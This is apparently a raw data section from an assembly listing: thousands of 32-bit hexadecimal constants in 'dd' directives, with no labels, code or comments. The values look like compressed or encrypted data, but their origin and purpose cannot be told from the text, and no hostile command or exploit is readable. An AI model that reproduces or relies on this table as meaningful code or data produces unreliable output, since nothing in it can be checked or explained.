dd 0B8C303CBh, 0DF509FC4h, 0C42CC396h, 5300AD10h, 0DC2332BBh
dd 0C20BB93Eh, 0FF077B7Dh, 3BFA0809h, 3AB8501Eh, 51FE600h
dd 64C103B1h, 907D619h, 0EF50356h, 0F7AF8483h, 68068372h
dd 34396FF5h, 51050470h, 0BF81640Fh, 7472DE8h, 2A5B0BC0h
dd 0CFE92612h, 0CE5F9871h, 71264284h, 4A3EC61Eh, 0E6574102h
dd 5F60EA79h, 69B711EEh, 0D96B5B2Dh, 565F604Eh, 2F8E469Dh
dd 4F45CB90h, 0B756AB0Ah, 720B3C6Dh, 96DD5F69h, 8D19A0C1h
dd 0D8909508h, 6A4A3E53h, 2D7E52B8h, 48FEA375h, 978262h
dd 0B80B1FBDh, 0EA89671Fh, 52490313h, 717DABFh, 8247C29h
dd 662BCB5Fh, 98E2B209h, 690C255Eh, 0FCE3E5ACh, 2D2E9E52h
dd 1228725Eh, 1E36E018h, 583A570Dh, 4115436Eh, 0F918D4E4h
dd 0E5BA4EE3h, 445B2F09h, 0E340142h, 930D561h, 439602CAh
dd 0F6E96409h, 0D1A26BEBh, 6BEACDD6h, 0B8CB4E2h, 5602FE70h
dd 0D2368268h, 52744242h, 2AE91866h, 37C73FC5h, 2F2D490Ch
dd 0BE0D6A47h, 0CBF01D7Bh, 361052A6h, 2EB24BF7h, 920BF3A1h
dd 76136826h, 50C91FECh, 0BB9F6777h, 0F0D711DEh, 2AB1A2D3h
dd 80288A6Fh, 7B63E0F5h, 0F015BE7Fh, 98317302h, 0B8B90F3h
dd 37E848EDh, 0C8292E60h, 0C34B5BD9h, 0EABDC42Bh, 680B5F2Bh
dd 59F12A7Fh, 0AB29309Bh, 0BB931D26h, 7C81B983h, 2A78B405h
dd 46BC5C6Dh, 0F1ECF54Bh, 0F83B5CDEh, 4960AF4Bh, 240E7C79h
dd 7F20D7Ah, 91354053h, 3C76E02Ch, 94891670h, 4C0E2AEFh
dd 31F21092h, 190C5232h, 40C05D04h, 4C7873E7h, 0F125896Ah
dd 0FEC50AD6h, 0EA01E291h, 11BFD83Fh, 0C549385Ah, 77FE428Ah
dd 9FE0B7E1h, 884BD733h, 5A9D14EBh, 0B4F2A951h, 251FE4AAh
dd 0BA3BF4Ah, 909F110h, 987B6768h, 12B6521Ah, 0EEF48885h
dd 967C8FCCh, 0A19C25FFh, 1169E62Fh, 9ECF3174h, 1C5E95E2h
dd 4AD1B75Ch, 54040DB4h, 0F78C8AF6h, 0DAC54F93h, 18B4425Ch
dd 5ADDB914h, 600EAA5Bh, 10B6198h, 16BD588Ah, 2021F445h
dd 7DBE2977h, 0D2ABDC69h, 2BB9461h, 0E040D55Ah, 42B05455h
dd 0DE840C4Bh, 5FE97578h, 218580AAh, 21905EF3h, 0F6192825h
dd 98516438h, 5C16B05Dh
dd 61EFC588h, 2225B42Eh, 0C16D1513h, 0B668828Bh, 3404CC7Ah
dd 0BE2E1964h, 0A2D274A6h, 641050AEh, 0A780EF9Ch, 94BE629h
dd 0B718FAFBh, 0CB809001h, 64EAE13Bh, 0B975A7Ch, 1A350598h
dd 0C55F9745h, 1C3D2301h, 1E602516h, 0B80140C7h, 5376FE0Ah
dd 123EA70Ah, 71B21080h, 5B54257Ch, 757AF3F4h, 0DEB5F5E8h
dd 80CDFE07h, 0AB3E34E5h, 87D86DAh, 0E90F0A06h, 0A787364Dh
dd 981647DEh, 0F0745689h, 0B9510F53h, 5620799Ch, 34C0D3BBh
dd 10ED42E9h, 0DB27F4D2h, 401155E0h, 3601FD35h, 3A1100Dh
dd 0E968435Dh, 0F1E827F7h, 339F5452h, 0E37A078Bh, 0C022A856h
dd 0CD4DBAF1h, 0D0F1019Fh, 17B6649h, 910E0B1Dh, 0E8F03E09h
dd 59AC2556h, 6E43880h, 639752FCh, 0A5EDDCC4h, 4C04434Ch
dd 0B87CF444h, 3EEB19Bh, 0F66006B0h, 3116CAE3h, 9FE536Fh
dd 3225EFC8h, 44B82533h, 0BB78C32Fh, 277D34CBh, 2BD9541Dh
dd 2087F397h, 3FFF35D1h, 715974E6h, 739E30F3h, 57D30102h
dd 0D5158D68h, 0E7C252C3h, 0A6219208h, 97C83E3Ah, 0A1F714B3h
dd 0B8F4B7Bh, 0D1853199h, 125AADCDh, 61ABDFFEh, 80456818h
dd 25912D1Ch, 0A0501F3h, 477161D9h, 58293DF6h, 9670BFCh
dd 6FE354A0h, 0CB04F2Eh, 3A3B7109h, 1C87E65h, 3380C8C7h
dd 52E92E08h, 0E52B450Eh, 1348CCB4h, 0B1077F79h, 5E5898D0h
dd 0D9D4B46Dh, 28871BB0h, 7489F424h, 36268E00h, 810301CCh
dd 0AE74EAEBh, 7FE06F2Fh, 88E02AE9h, 2B1F32B3h, 2BF76CF1h
dd 0FF3A03D0h, 854580Eh, 1665A684h, 4F1747ECh, 31CF4068h
dd 104590Ah, 7EA6C8B7h, 6E0E0665h, 2622C0E9h, 717FD895h
dd 0BD3A9A47h, 0D45B83E1h, 17659505h, 0F0D012h, 39127E16h
dd 0FA31ED81h, 8C5DE81Ah, 820D92Ah, 0E93409B6h, 895AF713h
dd 8F736030h, 6F4D68B9h, 12A9372Ch, 40FE74ABh, 4CBFE0Dh
dd 293878F1h, 4585D2Fh, 0A18F6A0Bh, 705BC014h, 1241D45h
dd 0DC15DBD9h, 36A5B980h, 2F53BB3Dh, 595E05F4h, 2D798EBh
dd 8E5FC08Ah, 50C43078h, 4E68DB0Ch, 0AC3540h, 1267140h
dd 75A0E9D6h, 0DBA067B9h, 981BF709h, 218AF73Fh, 9BD70075h
dd 0DAB9287Ch, 32117316h, 1F30908h, 5A586850h, 0ECE1412Ch
dd 755F02FBh, 0F749E3DBh, 42404C7h, 92C6619h, 6A55997Fh
dd 1FB387F0h, 0EF0BF371h, 472F5FD6h, 42E02555h, 0B2482FA5h
dd 4EFE2455h, 0AFE9412Ch, 0F0FCCBDBh, 0AAB90E2Bh, 0BB56FE4Eh
dd 0EE39AC41h, 0EA90D536h, 3F6A5178h, 5BD64688h, 46FC3229h
dd 0CF20C4FEh, 39D34C20h, 0E879AD66h, 653124BBh, 5E8C0F1Eh
dd 40060189h, 0F3BF0E2Dh, 9F0E208Bh, 0AA283485h, 93BD7031h
dd 0CA9EA672h, 93B0F256h, 94FD08CDh, 5EBC003h, 25169E80h
dd 3574D3B9h, 44B0A0E5h, 0B60FD31h, 92B6B9E6h, 0DE58985Fh
dd 0BE0056BEh, 1EA87DACh, 5EF01C29h, 0A05D401h, 0AA4AD748h
dd 2B1569h, 7D30685Eh, 8F9029C5h, 63FC064Ah, 0DB75FEA4h
dd 4B74CAFAh, 50F2F192h, 0D2DC9F58h, 0A661105Ah, 67BB80F0h
dd 7EFB5512h, 15F37020h, 3A4C2DB7h, 17094A74h, 307FF2CEh
dd 0CFC91BAFh, 1A07552Ch, 4FD7F723h, 984C1EE2h, 4F6568CFh
dd 5B3CCF38h, 348482ECh, 0F841603h, 0A518C1ABh, 0DE6D346Ch
dd 23B95B4Fh, 77B3905h, 0F572BC43h, 0A87D601h, 0BA9340C0h
dd 89C4BA5Bh, 0D7E90B07h, 690A71B9h, 5AD4757h, 55293E9h
dd 0C63AEF79h, 0FAFAF274h, 0F11BC960h, 17ED1AA7h, 0E1D17Ah
dd 426C4494h, 0F9093133h, 2425ACE9h, 71B2C649h, 2D50610h
dd 1BBE565Ch, 140F65Ah, 897749EEh, 0D0E86016h, 4D22E202h
dd 0C52B31E9h, 0FDEC8896h, 42ED8004h, 6692DBCh, 8671BC82h
dd 1E48A259h, 0EC839A46h, 7309B711h, 0C2006D53h, 2A510517h
dd 6AB80150h, 0E912EA7Ch, 8D07F36Bh, 324925F1h, 5912B78Ah
dd 3C354208h, 1657EE1Eh, 7202B39Dh, 0C9A9BDh, 0FD67ED61h
dd 1B949D29h, 4F9A70C3h, 0B5FCFC44h, 0C6F0044Ah, 80570BC0h
dd 0C387127h, 5EDAB86Dh, 30A28927h, 25B6EDF7h, 4A607B4Fh
dd 921FA242h, 9C7A38EFh, 78CB3B4Bh, 0BA27513Fh, 0C0BD6C04h
dd 81273493h, 7AC5CD09h, 0E5A400A4h, 9D99E906h, 53E52BDCh
dd 0CB3F5099h, 7DE55F5Ch, 900CCA6Ah, 0F70F10DBh, 1FBA5207h
dd 0B3AB8719h, 1626BC2Bh, 183C4A21h, 68B0E258h, 8C055B1Bh
dd 9BDA598h, 5CBBFCE9h, 3576809Fh, 484D6033h, 4607CB93h
dd 0CE76342Ah, 1F9550CAh, 23588CCBh, 0C2092E1Eh, 7F8932ADh
dd 0AFB0A196h, 2E1A4D03h, 1E80120h, 67A5C6F2h, 0DB29590Ch
dd 884EEC2h, 189B8158h, 5D33248h, 205F895Ah, 42A21885h
dd 11868C2h, 0F64B2DFh, 99A249E0h, 0C2695855h, 0A25BC74Ch
dd 0C8E9C280h, 0FF800919h, 0F3509F0h, 0DFC9DCB4h, 5D4E5D6Ch
dd 5942E2F4h, 0C514190h, 45ED440h, 0E3F095F4h, 9EB1A5Dh
dd 0A14ADAF7h, 31170F62h, 3CF5A26Bh, 0E9462422h, 0AB85DF17h
dd 0BFC7D9EAh, 0BA0DAC07h, 253776ADh, 2FB07AB1h, 2C1DD49h
dd 55341E4Ch, 685189E0h, 5EE90244h, 961A1220h, 0FE2D7615h
dd 900236BCh, 0B9DA4E4Eh, 84ED480Dh, 0C102F8E1h, 0DA7D07EDh
dd 62CBF02Ch, 0DFEC2206h, 2A12010Bh, 0B32B0113h, 3C08938Eh
dd 45916B9h, 8CD27B43h, 0DB1D68EEh, 5B6F777Eh, 0CF870960h
dd 0E9BD21FDh, 0BC3ADDF3h, 21BAB5C3h, 85DDEF30h, 4BD3F714h
dd 0B53E8580h, 21C92A0Fh, 10F202C6h, 1449836h, 59D54042h
dd 50B19B9Bh, 0E7FFBA80h, 0C1BF6525h, 4F5229EEh, 4F72775Eh
dd 1FC9BE5Bh, 0B9C0D52Bh, 33FF122Eh, 0E3020712h, 5F294CE1h
dd 78D3E393h, 0A20112B4h, 7D13774Ah, 0C26592B4h, 6600465Bh
dd 0F2268C68h, 0E15695F0h, 0D2F20143h, 5CBA89CBh, 53EAE0D1h
dd 5F5B1C07h, 8074EB5h, 0F5580899h, 2439ACB0h, 0A8B25F51h
dd 4D9487Ch, 27977F0h, 35FED0FBh, 8A2C5763h, 2D0BBF48h
dd 0DFB8DD21h, 4D704968h, 0ED403BE5h, 7E69CB81h, 9415094h
dd 0D96E38F3h, 0DF01488Dh, 920541E7h, 0D266292Bh, 250504B9h
dd 0CC378F68h, 0E017B2B6h, 950AB151h, 38A888DFh, 3F3CA109h
dd 62BDC129h, 3795E2Dh, 81489970h, 0D5B25EDh, 0E2EA1884h
dd 2667C013h, 1FBB76DEh, 67282A36h, 4370C5D6h, 0BBE877E9h
dd 14F46B45h, 2CB12F92h, 928DE73Eh, 867F24BFh, 0EF391F9Bh
dd 0FF9296CFh, 1FBE0h, 505553C1h, 2C1C7468h, 35584201h
dd 3B813C51h, 0A6108B31h, 0F05AF188h, 0D0294A27h, 0F9090AFAh
dd 8BBD054Ah, 0ED6C6885h, 1DA716FDh, 437A6098h, 6DFA4B30h
dd 0CDB32F93h, 571E09D7h, 2C2AE557h, 0A1DE65A5h, 0FED76B39h
dd 0EFCECB37h, 2E62467h, 7C15C6EAh, 5435602h, 0D6F231D8h
dd 40680273h, 11626F70h, 0BE0770F0h, 11493374h, 744289A2h
dd 0B5183A3h, 0D1D96E2Fh, 0C0AE2C9Ch, 0D3FF0E45h, 5E62B231h
dd 7F74C8C2h, 79ED42B7h, 0CE574984h, 1619996Eh, 6332F18Dh
dd 0E0B15ED6h, 0BF2F147h, 0D4A05725h, 1D0E4BE7h, 2AF95650h
dd 91A90305h, 71B05BE9h, 0EC419D29h, 620FF695h, 0D5047202h
dd 0A8C2D00h, 0D124653Eh, 0A0174AE3h, 0AB52D2C2h, 72FFD6F3h
dd 0FC0E9AD7h, 76482D4Ch, 14A2846h, 5E4140C8h, 684B3097h
dd 0CD253D82h, 405E9A45h, 200F6F1Ch, 23A172Ch, 462EAF68h
dd 38633FF8h, 28E2EAD0h, 4CFA5005h, 0B92E013h, 0B9C2BA4Ch
dd 7AC2C3D7h, 1D3A4FF8h, 90AFE8D5h, 0F16654A5h, 4C4A125Bh
dd 0C11FBF45h, 7125BD49h
dd 2EBC843Ch, 0C72680AEh, 0B32D7CB6h, 28965C0Ah, 0B7A2B275h
dd 0F7420B5Bh, 0FEBD60F9h, 9D3B9F61h, 0E6DFD692h, 4BAA3027h
dd 565FF8C9h, 0B509C7B0h, 0D24D2457h, 71702F9Ah, 79F21E66h
dd 5BE7D65Bh, 7072A34Ch, 0CFB9BDADh, 0B8E62A5Dh, 1D9E5B29h
dd 1C25CBF1h, 8F70D864h, 61CA6817h, 9494EACCh, 37B520AFh
dd 0B67CFDCEh, 0AE808736h, 0F3B5F07Eh, 99344715h, 57582ADCh
dd 0ECFC35E9h, 30CDFA3Ah, 126AD5EDh, 5201BADFh, 61C42549h
dd 686C52F1h, 129E7850h, 0AF4C8878h, 0FD4E88CBh, 0C00484Fh
dd 18E106E9h, 0FCD84E21h, 0C46085EFh, 7F5AC9AFh, 36687C30h
dd 6284B661h, 50041A79h, 1048DD80h, 9F6F7F2Fh, 50696AD9h
dd 498B8A2h, 0C549B32Dh, 9482EF20h, 0E3BBF5D6h, 268BE20Ch
dd 2E6B297h, 0D0F79605h, 417FE883h, 13CFA584h, 0AA22682Ah
dd 0FD2E8DC9h, 4BACF6BBh, 0E9D10221h, 83E6F924h, 7C41FBF0h
dd 4E63B03Eh, 0F4B7D55Bh, 275A681Fh, 0B32DA7C6h, 0F1AAA235h
dd 50E7DD32h, 293D323Fh, 9645DEBAh, 0F7549529h, 49E98579h
dd 89CD5DABh, 0B814B8C9h, 193A564Dh, 5E0BD5F7h, 0CF403F2Ch
dd 574C1F05h, 0D452DC89h, 1232BBFAh, 0A3D15A38h, 194A66A8h
dd 3FF3B4Dh, 42BB0C87h, 0C154191Eh, 5DA55A01h, 0AD44CE01h
dd 2F7B0814h, 4D57E062h, 67564845h, 15844425h, 0E888EA29h
dd 7E174199h, 0F24E7Dh, 816E1BBDh, 28B25E79h, 642834B6h
dd 0E90E0B05h, 97E935C3h, 560EAA90h, 1D644E68h, 7300AB01h
dd 0F046958h, 0CF81044Fh, 0FBAC4678h, 0F9F3FDC0h, 0EA406931h
dd 5C4BABD0h, 4A84B1B8h, 5D5A0BD4h, 59751E42h, 4CF64BEh
dd 2DA2B06Ah, 9F947250h, 588C988Ah, 460BBD59h, 0A784E33h
dd 950C8F2Ah, 16DA0C91h, 16656B6Fh, 8B9102Ah, 0FE1C8B16h
dd 4F159E6Ch, 0C762E428h, 0E64F5102h, 40DF010Dh, 1F29B908h
dd 0C14E4C75h, 341290CEh, 3BF6D826h, 23D51D14h, 0D73201F2h
dd 0F7293FB9h, 0AC4BD941h, 2E1CBD00h, 8177F000h, 6803BCF5h
dd 4C78E46Fh, 55C99062h, 172D104h, 1FF7EB81h, 9F19F0F6h
dd 491E2A01h, 0E4672068h, 0FC93244Eh, 0EDB819Eh, 1775B885h
dd 0EB6D83A1h, 0AE2501D5h, 60372D70h, 6B1299D7h, 11000AF1h
dd 73CA2B9Fh, 0CE5FA4Dh, 63CE08E7h, 9913C9A4h, 0ACA06B4Eh
dd 5BD92489h, 50594021h, 1271E60h, 8229E64Ch, 0A057C20Ch
dd 7D40BE07h, 0F0265AEDh, 3F00BC3Dh, 0CAB91E8Dh, 1D728077h
dd 56E9D129h, 76D46004h, 81B0626Dh, 134FDA7Fh, 3026C21Eh
dd 0A0EC1E97h, 55F25548h, 65506140h, 5E4CC205h, 3387EE83h
dd 0F6A8F7C4h, 80C32984h, 0C12C603h, 0E59E6667h, 0C0BF3A35h
dd 14078F63h, 0D35E77B8h, 0AAC38A60h, 0BF17E2Fh, 0FE7CB551h
dd 16C51281h, 9B2F4601h, 0DC34527Ch, 0C3AE76E2h, 0DD8127A1h
dd 89D523Eh, 10E38E1h, 86D4742Dh, 1CA4EA77h, 4A291449h
dd 40705D8h, 0FD4839E9h, 0E025134Bh, 77EE3340h, 0A075510Fh
dd 3057AB83h, 83182676h, 6752990Bh, 0EB64B60h, 0B14E0C6Ch
dd 81CAB75Ch, 46E14752h, 0EBD1856Fh, 6FC1114h, 788719FBh
dd 328E120Ch, 6077A11Eh, 8CC0DA90h, 0D8289E2Dh, 0F0291466h
dd 1750705h, 3B0843C8h, 6D806EE9h, 559512D4h, 1F41CFFAh
dd 526C7A68h, 915D5861h, 40B4C42Eh, 68530203h, 8F27E666h
dd 2C5C22C0h, 1E187D3Eh, 201E7ABAh, 0F6E5630h, 5800E320h
dd 2907ED37h, 0BB850F3h, 2C0F1DF9h, 3A3D22DDh, 0BC4559B7h
dd 0F753090h, 4CFF180h, 40AB78E7h, 6F325A2Dh, 0D5A15E35h
dd 0F95DC65Dh, 0EFE09312h, 12A21D1h, 4EE55DC6h, 2E01C928h
dd 8179A73Ah, 2BF401CDh, 0BCE907Fh, 48562611h, 2FA550Ah
dd 0B7F9D9FAh, 892FC674h, 8904A9D2h, 5EA45DC7h, 3CBEC7D3h
dd 7C02BBF0h, 23E95CCBh, 0BAAC67E8h, 45E82132h, 65BF7D8Ch
dd 452D16Eh, 0F2BA5AF3h, 84BD90E6h, 1123F4Dh, 66D2AB22h
dd 0E06DECE3h, 7829569Fh, 0FBB5D136h, 6F96BDBEh, 5FA7E601h
dd 921C4B2Ch, 6CC92E61h, 7C174082h, 82907328h, 0C126C276h
dd 84B9C9F2h, 14E5E9F9h, 6AA4294h, 7523EF73h, 84B6E6FEh
dd 0F6728981h, 0C16A2116h, 79A248E7h, 31EE44B4h, 5A07FB0h
dd 0C096F25Bh, 0A881DF49h, 7322FD68h, 60546E79h, 0E91FB134h
dd 33886592h, 2DF883D3h, 93B8115Ah, 8E2DBAF5h, 0FEB2AA20h
dd 0C0CA04FEh, 0C1F606EAh, 4941D98h, 6F5700FEh, 0F501237Fh
dd 5FF82C1h, 1C3E5B5Ah, 6E2D392h, 33339D43h, 9290F138h
dd 7EC12594h, 964CE56Bh, 0A6750F05h, 89A4398Dh, 0B437BEF0h
dd 0D3A4DD92h, 97D92286h, 21A50C68h, 0F51D93BAh, 2E183CCEh
dd 2732110Ch, 0C9D462B8h, 0CF17D521h, 446D0205h, 42C69DBAh
dd 0DFDB62h, 78EFBAC3h, 6936519Fh, 8D5006A5h, 622606F8h
dd 940EE805h, 0B4103261h, 4A15EE7h, 0DAAF3BE7h, 0B5A32D78h
dd 0FC9F24CEh, 0D5CD50ABh, 0AFA1D397h, 0EA8122B8h, 0A12F2A09h
dd 2046500Dh, 5951C351h, 1F776095h, 0D5EB02FBh, 0DEE93951h
dd 0F1555210h, 565A62C1h, 6EC61FE1h, 0D9FE2B12h, 0AFAABF92h
dd 40AA40EDh, 54EE0935h, 29876B7Dh, 8D213FD0h, 3BE9FA92h
dd 0DC77EC81h, 84F6CB81h, 32271820h, 0C011084h, 0B08BD05h
dd 2B85AA03h, 0BCCD2280h, 29AF2527h, 56C5A477h, 3AE73C80h
dd 0BE420238h, 4B396020h, 0E933817Fh, 1F6D0E4Ch, 2A490807h
dd 0DEFDE750h, 94B303A9h, 0FBF1C710h, 0D5685D04h, 0D8D9AB57h
dd 0E3A10629h, 87D004D8h, 961D5868h, 57E97081h, 401C099Ah
dd 5C0D8F7h, 79D1386Dh, 5A9E0B35h, 89F7CF04h, 0A2B1512Dh
dd 9DE0BFDAh, 5081CECCh, 293E3030h, 0BA01810h, 8F79E8D8h
dd 8042ADBCh, 0CE215AF9h, 6FF2B859h, 0A6C98D20h, 25D36074h
dd 0D16C5E52h, 30F03139h, 45E908C6h, 6F149768h, 16F7C920h
dd 0EAD3C380h, 430F1867h, 0FAF6B151h, 0BC9EE0C1h, 0F745C074h
dd 2E423CBh, 7858EBA0h, 0E9326605h, 0BFD4BE43h, 661B37FAh
dd 0C0B9A81h, 5539063h, 710F5F4h, 0D0AF12FFh, 851027FBh
dd 3BEEB1A9h, 9BDFDFB9h, 0D0258772h, 5A50CE20h, 0C6AB915Ah
dd 0DE1EA595h, 985D5ADAh, 4B70E9FAh, 871195C8h, 340C039Fh
dd 9553D5DFh, 505D0264h, 9F755CDh, 8826018Fh, 0BE7497AFh
dd 0DF730ECBh, 56D3E976h, 2852EB55h, 0A401DC0Bh, 1EB4152h
dd 45AC0652h, 27A76809h, 0B9DAAAB5h, 0B6847417h, 9F92BEAh
dd 0E679F568h, 0AB65202Bh, 6C0A37A1h, 72D7C22Bh, 0B732C1CCh
dd 0EA7CA056h, 67C79CC3h, 64595B7Ch, 0C1843144h, 8914E2FEh
dd 2DBA5EBFh, 206C9C5Fh, 2C07CD4Ch, 4D82880h, 72C7CB4Eh
dd 5C6A22EBh, 13BEC602h, 0D95D4DDEh, 0C218EBE0h, 93A45903h
dd 13627897h, 0BC386576h, 44A5B0C6h, 0EF64C062h, 0ACD9ECDAh
dd 0C2AEE927h, 0C0785F4Ch, 7A68D9B5h, 0A7D3F157h, 0A8C54341h
dd 3D4E658Fh, 0F328DDC3h, 685B0B66h, 85F31464h, 15CBE90Eh
dd 0B65F780Ah, 0AA4E93FDh, 2BAC1E34h, 0ECF8E984h, 275C2D57h
dd 0B1B25E83h, 80735C87h, 1CC8554Eh, 1712B505h, 2C0A5E46h
dd 5102DC58h, 5D8608C5h, 0E90F6C5Bh, 7AC7302h, 0BBCC70C4h
dd 0E66819Ch, 5664EFBBh, 839FBEA4h, 5BC8E26h, 0AA0A5451h
dd 5840E726h, 0B465C33Dh, 0CE461F41h, 0BC19AD35h, 0ADF36A53h
dd 0E2DD8F9Ah, 97735782h, 0F2C87045h, 4B407959h, 3E34B175h
dd 1AC4DBF2h, 0EE0413E4h, 0BE13E5D2h, 4F075F19h, 9FA36730h
dd 0A0350E5Ah, 6583D3F9h
dd 53C02E6h, 3E8D0B87h, 0BE011743h, 74C332EDh, 8099D3F7h
dd 315834A0h, 0C64EDC7Bh, 6650158h, 2C1748C8h, 0A1AC0964h
dd 63FDD79Ah, 2D3A1316h, 50CB289Eh, 80975FF8h, 234E2DC4h
dd 73274843h, 970F5D0Bh, 6AB6B88h, 0C30A21Eh, 0A37F560Fh
dd 0CAE18064h, 0F8458605h, 9737AC9h, 0D9F73683h, 0F3C03D83h
dd 0C6258D93h, 3855359h, 3E31100Dh, 4A26DE00h, 0DBF7508Dh
dd 5EE62068h, 0BD2FE918h, 46FF3AFh, 31015034h, 0B4E4EADEh
dd 0FA68195Fh, 2214311Bh, 0CE8F3A57h, 3DA1CCE8h, 0B1AD03CBh
dd 0CA0D798h, 4B82FAE5h, 684D8CB2h, 332CF4Eh, 57457D54h
dd 205166A5h, 5350E712h, 6F9338EAh, 33621B0Ch, 58A776EBh
dd 0C513D6F2h, 835BEF0h, 7D6349BAh, 2D463828h, 5E5E3ADCh
dd 0F671AC2Ch, 0E16B7054h, 0E430A82Fh, 16978BEBh, 6EAD29A8h
dd 1930683Eh, 0FE118932h, 0DF0C3D60h, 0C3747F08h, 12342256h
dd 89070FBCh, 0DA3D04A0h, 415DBDC8h, 0F75A2087h, 8572B54Dh
dd 88AF5457h, 0CF4B7EB5h, 858F8C1h, 5F846556h, 46AFCC5Ch
dd 9E3601Fh, 0D2C594Ah, 0A39EFFA6h, 5E1325BCh, 0E78CC2EAh
dd 0F6756675h, 4836B211h, 21527F9h, 5B2A253Ah, 38504CC2h
dd 0F841392Dh, 64C02A5Dh, 0B5619768h, 0BB741B66h, 3D724E02h
dd 0C8430AE9h, 0A15BD8F3h, 0F255C1E3h, 41CF2DAEh, 3FDD731Ch
dd 1F5460CCh, 567BB863h, 80BC4286h, 0C07741F2h, 2DC9FE95h
dd 16D45066h, 9B87AA8Bh, 0F8F77F62h, 0BDCB4B72h, 4E08D28Fh
dd 43B104FCh, 1731A888h, 0CCDDE420h, 8955F6EDh, 899261A3h
dd 2B64C58Eh, 4DB28777h, 29987751h, 542C559Dh, 0A546AD53h
dd 2660E572h, 297900BBh, 640C2D30h, 3120131Fh, 8FE307C3h
dd 602E5420h, 78274BCBh, 0F304BFB0h, 4C424A86h, 502C3C80h
dd 0C04608Ch, 63407952h, 3027D580h, 0F8307705h, 974F6C7Bh
dd 8B4A04FFh, 0D8CAA74h, 91334CE2h, 28A44FA7h, 80CCB2C8h
dd 0E1C0DFB1h, 0C1800E08h, 4F7DFE82h, 0D97CD1E9h, 0BDA60C07h
dd 0B9F02A3Ch, 61B10295h, 7938952h, 0FC999CCBh, 705E4055h
dd 0F8CB7EEAh, 0C2A74AC6h, 3EB379FBh, 0EABF525Ah, 0F6349704h
dd 0C0D3C21Ch, 80C105E3h, 0EF290193h, 0BBD22F38h, 9C2EFB29h
dd 38131AA7h, 0BF85BBA8h, 0D36D01BFh, 213E18DDh, 4AE27883h
dd 646382B1h, 8AE0E982h, 57685600h, 2B10C5Dh, 29ACF75Eh
dd 5EE6C34Eh, 5E76F85Bh, 0BD7FF0ACh, 0F1E93421h, 5BD7C287h
dd 0C8F60B71h, 0A1989CDFh, 0EF107194h, 0CF752885h, 5119C775h
dd 581612B1h, 0FBE9D9C3h, 5B12452Ch, 0D1F89853h, 9EA9E24Ah
dd 0B158BB5h, 90A078E9h, 0F0399789h, 5F83F67Dh, 0C3C9E6F8h
dd 258F46E9h, 0E9895E38h, 0A590C557h, 818053DCh, 163867EAh
dd 5D0B06Bh, 64BE5E70h, 92B0AD29h, 7C124400h, 0E243604Ah
dd 80F24BE9h, 4C8D2D8Eh, 8870A42Dh, 0E91F07F3h, 2CBFFBD6h
dd 0DD4FBD0Eh, 4E51BA8Ch, 0D37BB307h, 61399D45h, 5FBD89D8h
dd 0ECF6DD09h, 0D5A99756h, 7AC860C6h, 211255B6h, 12206EF4h
dd 0F844D431h, 3D84FBCh, 22F92487h, 4E013F5Dh, 295C0C20h
dd 838A0C2h, 43BB584Eh, 529BE9E2h, 68E59706h, 22E13FABh
dd 0C98980A3h, 5848347Ch, 0C1DDF702h, 805208EDh, 0DF19EAECh
dd 16BA044Eh, 0A2B120E6h, 7F7C0675h, 790035Dh, 13923A50h
dd 8206829h, 17141CD0h, 67E1D3E9h, 3D01B47Fh, 38CC7518h
dd 664D70Ch, 0EE90AFDh, 0E14C9FF9h, 15C24B4Eh, 41BC7559h
dd 7520B284h, 0EC5E5A08h, 37F4A714h, 0EAF454AFh, 3A94B558h
dd 68414D04h, 97F9428h, 3A015A07h, 0C608132Eh, 0E9166075h
dd 1092D66h, 646D12F5h, 0D98627F9h, 2F63FC7Eh, 0B2BA84B0h
dd 10589074h, 0BC4B5ECFh, 25E496D1h, 0B061403Ah, 0EB80C909h
dd 0CA2EF528h, 8323D9B3h, 0F4E9F31Eh, 0E3D313E4h, 54EA0EBCh
dd 0FB882DFh, 0D05F3ADFh, 70469DDh, 779C5A06h, 5CF04490h
dd 0F772634Eh, 0F7D4C059h, 0F37E9DE3h, 0A7DD1CBCh, 2C3C712Fh
dd 2710BED9h, 19BF02C1h, 603B9F70h, 2C2A86AFh, 58270C98h
dd 780960B9h, 0FD29DBAAh, 0F125CCE5h, 1CE240C7h, 32645C57h
dd 10900898h, 0D2BB6BBh, 0BE56434Dh, 1737383Dh, 0E8F003E9h
dd 37120968h, 272072D0h, 8D2FC8F2h, 2D1040BFh, 855203DDh
dd 80D4E93Bh, 2499FE85h, 0BEC7E578h, 1F9600AFh, 8C09CE81h
dd 62512E2Fh, 619059C4h, 0F95E5CD7h, 0ACF23B21h, 0D1BD55C3h
dd 0E9A816DBh, 59E08BEh, 8BB4555Ah, 1DD1C1B5h, 97A2EA14h
dd 16CA4E7Ch, 0D48FBB18h, 0EEFAE90Bh, 4B51C625h, 7CDE681Dh
dd 92345F2Dh, 20F0B92Dh, 9A1AB99h, 0EB311EC8h, 718F795Dh
dd 0E96AE45Eh, 345246CAh, 0D7296B40h, 0B7FCA88Ah, 2C7BE960h
dd 523F00F1h, 0EB14E2BAh, 0D1482129h, 0AFFA345Ah, 0CF6F31F1h
dd 846F482Fh, 3898C92Eh, 2B2514D8h, 0B20BBB4Ah, 4F5EA620h
dd 26408F02h, 0C7FDC006h, 34FE3245h, 0E1F9093Eh, 47CF77CBh
dd 7AEF8189h, 5FE91B0Dh, 3ED8DFCBh, 748427Bh, 23E54BF3h
dd 0CAD7E301h, 0CEF2FE04h, 1563E9C2h, 6B4F9190h, 177C11Fh
dd 8A0753Ch, 665AF568h, 4424C30h, 0D340F9A3h, 61EA4955h
dd 479E0C31h, 0F4CA427Dh, 0FFA30957h, 5D279845h, 770B0780h
dd 7A976F17h, 0C4102059h, 0D1270790h, 0B58A64B4h, 774B7A71h
dd 0E968E221h, 0C2CD881Dh, 0C5FC27DFh, 0B7083D2Bh, 0DADC2F75h
dd 126F420Eh, 8C0D9FFh, 779E5251h, 1D73A36Bh, 5EA03CE1h
dd 0B4DBEAB7h, 2834EEEBh, 0A47CB2EEh, 0DFABBB0Ch, 0EC949FC1h
dd 7D6B18BEh, 8B02954Ah, 6C56A174h, 0D208F168h, 0E3860027h
dd 84CB050h, 2CC1C350h, 9A88169Ch, 95D1F67h, 71647A91h
dd 0ECF2292Dh, 18FEF0F8h, 0C420A7Dh, 0F109494Bh, 5D001C1h
dd 39AAEDBBh, 7E75F0C2h, 0CEA62562h, 92598298h, 13F17FECh
dd 0BB1E0A7h, 78B880F0h, 6A0D570Ah, 1600BA48h, 83095106h
dd 810101C3h, 0DE613CCBh, 0A7C17017h, 0F109F8B1h, 475E8868h
dd 0EEAE60A7h, 9538ACC2h, 65D7D362h, 77E90549h, 8A9DB2F0h
